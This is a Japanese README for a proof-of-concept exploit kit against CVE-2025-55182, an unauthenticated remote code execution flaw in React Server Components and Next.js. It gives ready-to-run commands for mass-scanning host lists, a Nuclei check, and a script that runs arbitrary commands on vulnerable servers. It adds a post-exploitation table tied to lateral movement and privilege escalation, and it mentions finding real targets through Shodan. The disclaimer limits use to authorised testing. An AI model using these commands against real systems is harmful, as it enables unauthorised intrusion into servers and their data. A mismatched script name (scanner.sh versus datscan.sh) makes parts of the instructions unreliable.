
# CVE-2025-55182 (React2Shell) RCE 脆弱性の概念実証エクスプロイト React Server Components における CVE-2025-55182 (React2Shell) RCE 脆弱性の概念実証エクスプロイトです。脆弱なホストを検出するスキャナーと、リモートコマンド実行用のシェルスクリプトが含まれています。許可されたセキュリティテストおよび教育目的のみに使用してください。
CVE-2025-55182は、React2Shellとも呼ばれ、React Server Components(RSC)に影響を与える深刻なリモートコード実行(RCE)脆弱性です。これは、Flightプロトコルを使用してクライアントとサーバー間で通信します。クライアントがデータを要求すると、サーバーはペイロードを受信し、それを解析します。これにより、攻撃者が悪意のある構造や任意のコードスニペットを注入し、Reactが有効と受け入れる可能性があります。
| 項目 | 内容 |
|---|---|
| 深刻度 | Critical(CVSS 10.0) |
| タイプ | Unsafe Deserialization(CWE-502) |
| 攻撃手法 | リモート、認証不要 |
| 影響を受けるバージョン | React: 19.0.0、19.1.0、19.1.1、19.2.0 および Next.js: 15.0.0 – 15.0.4、15.1.0 – 15.1.8、15.2.0 – 15.2.5、15.3.0 – 15.3.5、15.4.0 – 15.4.7、15.5.0 – 15.5.6、16.0.0 – 16.0.6 |
サーバーはクライアントからのペイロードを適切に検証せずに処理するため、攻撃者は以下を実行できます。
この脆弱性に関するエクスプロイト活動は2025年12月5日から確認されています。成功したエクスプロイトのほとんどは、攻撃グループによる評価に起因しています。Windows環境とLinux環境の両方が影響を受けます。
インストール
pip install -r requirements.txt
脆弱なサーバーをスキャン:
python3 scanner.py -u https://example.com
スキャンするパスを入力(ここでは自身の脆弱なマシン http://192.168.10.1:3000 を入力)
取得結果:
╰─ python3 scanner.py -u http://192.168.10.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://192.168.10.1:3000 - Status: 303
ホストリストのスキャン:
python3 scanner.py -l hosts.txt
マルチスレッドでスキャンし、結果を保存:
python3 scanner.py -l hosts.txt -t 20 -o results.json
カスタムヘッダーでのスキャン:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Windowsターゲットのスキャン:
python3 scanner.py -u https://example.com --windows
安全なサイドチャネル検出方法の使用:
python3 scanner.py -u https://example.com --safe-check
ご覧のとおり、セキュリティ脆弱性が発生しています。つまり、提供するサーバーが攻撃者に対して脆弱であることを意味します。
ここでNucleiを使用して、対象サーバーにPOCがある脆弱性が含まれているかどうかを確認します。この機能は、カスタムリクエストを送信し、誤検知を最小限に抑え、並列スキャンをサポートすることで動作します。
nuclei -t scan.yaml -u http://192.168.10.1:3000
取得結果
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
システムはこのサーバーが脆弱であり、CVE-2025-55182の脆弱性によってエクスプロイト可能であることを検出しました。そして、ソーシャルプラットフォーム上に多数のPOCが存在する、かなり危険で重要な脆弱性であることがわかります。 ☺☺☺
この情報だけで、アプリケーションにセキュリティ脆弱性が存在することを確認するのに十分です。このアプリケーションが悪用されてリモートでコマンドやコードが実行される可能性があることを証明するために、PoCを開始します。
chmod +x scanner.sh
# 対象が脆弱かどうかを確認
./datscan.sh -d example.com
# 現在のユーザーを確認するコマンドを実行
./datscan.sh -d example.com -c "whoami"
# 完全なURLを使用
./datscan.sh -d example.com -c "uname -a"
意味:
サーバープロセスを実行している現在のユーザーを返します
これにより以下を特定できます:
=> RCEが成功したことを確認するための最も基本的なコマンドです。
-d, --domain - ドメイン/URL-c, --command - 実行するコマンド(例: whoami, hostname,...)# ホスト名を確認
./datscan.sh -d http://192.168.10.1:3000/ -c hostname
# オペレーティングシステムのバージョンを確認
./datscan.sh -d http://192.168.10.1:3000/ -c ver
# コマンド実行が安定して動作するか確認
./datscan.sh -c "echo test"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
これはエクスプロイト成功後の初期調査のステップです。
RCEが動作していること、OSの特定などを確認できます。
この実験は、法的な問題を避けるために個人のラボ環境でデモを行っています。そのため、HTTPヘッダーを使用したデータの盗み出し、大規模な出力、特殊文字などは以下の問題を引き起こす可能性があります:
ERR_INVALID_CHAR
短いコマンド(例: whoami、ver)は、テスト環境でのデモンストレーションにおいてより信頼性があります。
もし望むなら、Shodanを使用して実際の環境のIPアドレスを直接確認し、上記の実験と同様にエクスプロイトすることも可能ですが(推奨しません)。
前述したように、このツールは教育および許可されたセキュリティテストの目的のみです。所有していない、またはテスト権限のないシステムでこのツールを使用しないでください。
| 実行コマンドの意味 | 内容 |
|---|
| ホスト名を返す | 使用目的: - 影響を受けるシステムの識別 - 内部環境での水平移動に利用 |
| OSバージョンを確認 | 重要: - 特権昇格の可能性の評価 - 適切なエクスプロイトの選択 |
| コマンド実行の確認 | ペイロード/スキャナのデバッグに使用 |
| 現在のユーザー名を返す | この場合: - ユーザーがADMINの場合→高い権限を持つ可能性 - 一部のWindowsケースではwhoamiよりも重要 |
| ホスト名を返す | 環境変数を通じてホスト名を返す |